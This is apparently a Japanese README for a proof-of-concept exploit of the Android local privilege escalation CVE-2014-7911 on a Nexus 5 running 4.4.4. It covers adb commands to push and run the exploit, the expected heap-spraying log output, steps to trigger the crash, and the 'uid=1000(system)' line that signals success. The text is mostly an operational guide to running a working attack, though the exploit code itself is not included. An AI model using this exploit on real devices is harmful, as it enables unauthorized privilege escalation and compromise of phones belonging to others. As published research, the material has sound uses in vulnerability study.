
Androidのローカル権限昇格(CVE-2014-7911)の概念実証エクスプロイトで、Nexus5を対象とし、ROPチェーンとヒープスプレーイングを用いてsystem uidを取得します。
Nexus5 Android 4.4.4_r1 向けの CVE-2014-7911 の POC。retme7 をベースにしており、異なる ROP チェーンを使用しています。
adb 経由で電話を接続してください
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
この POC を起動し、“CVE-2014-7911” ボタンをクリックすると、次のように表示されます:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
その後、システムがクラッシュするまでアクティビティを何度か最小化してください。次のように表示されたら:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
エクスプロイトは成功しています。電話が単にクラッシュした場合は、デバイスは脆弱ですが、エクスプロイトは失敗した可能性があります(異なる ROP チェーンを探すべきです)。